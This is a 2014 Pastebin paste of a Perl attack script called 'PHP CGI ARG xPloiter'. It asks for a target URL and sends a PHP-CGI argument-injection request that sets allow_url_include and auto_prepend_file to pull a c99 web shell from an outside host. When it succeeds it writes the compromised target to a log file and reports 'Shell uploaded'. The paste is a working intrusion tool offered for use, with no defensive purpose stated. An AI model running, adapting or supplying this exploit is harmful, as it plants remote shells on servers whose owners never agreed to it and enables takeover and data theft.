Advertisement
1337_Brain

PHP CGI ARG xPloiter

Jul 5th, 2014
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.64 KB | None | 0 0
  1. #/!/usr/bin/perl
  2. ##################################################################
  3. #:::====  :::===== :::  === ::: === ===
  4. #   ===   ======   ======== === === ===
  5. #   ===   ===      ===  === ===     ===
  6. #   ===   ======== ===  === ===     ===
  7.                                      
  8. # :::=======  :::====  :::===  :::==== :::====
  9. # ::: === === :::  === :::     :::==== :::  ===
  10. # === === === ===  ===  =====    ===   ========
  11. # ===     === ===  ===     ===   ===   ===  ===
  12. # ===     ===  ======  ======    ===   ===  ===
  13. # / Gr33tz to M-Cod3r , CoupDeGrace , Ma3str0-Dz , Boualem , xMjhad , tn_pirate , Khaled , Saber /
  14. ##################################################################
  15.  
  16. use LWP::UserAgent;
  17. use HTTP::Request;
  18. use Term::ANSIColor;
  19. my $ua = LWP::UserAgent->new();
  20. $ua ->timeout(15);
  21. system('cls');
  22. system('title PHP CGI ARG Xploiter');
  23. print color("green"), "\t[+] # PHP CGI ARG xPLoiter# [+]\n";
  24. print color("green"), "\t# by CrashBandicot From TeaM MosTa#\n";
  25. print color("green"), "Enter Target:";
  26. $target =<STDIN>;
  27. chomp($target);
  28.  
  29.   my $targettt = "http://".$target if ($target !~ m/http:\/\//);
  30.   my $test = $targettt."/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://www.sh3ll.org/c99.txt%20-n";
  31.   my $request = HTTP::Request -> new (GET => $test);
  32.   my $response = $ua -> request ( $request );
  33.  
  34. if( $response -> content =~ /c99shell/ || /c99/ || /shell/)
  35.  {
  36.    open(x,">>fucked.txt");
  37.    print x "$targettt\n";
  38.    close(x);
  39.    print "\n Target Vuln3rabl3 -- Shell uploaded\n\n";
  40.    print color("red"), "[+] $test\n\n";
  41.  
  42. }
  43.  
  44. else {
  45.     print "\n\n  Target: $targettt not Vuln3r4bl3 :/ \n\n" ;
  46. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement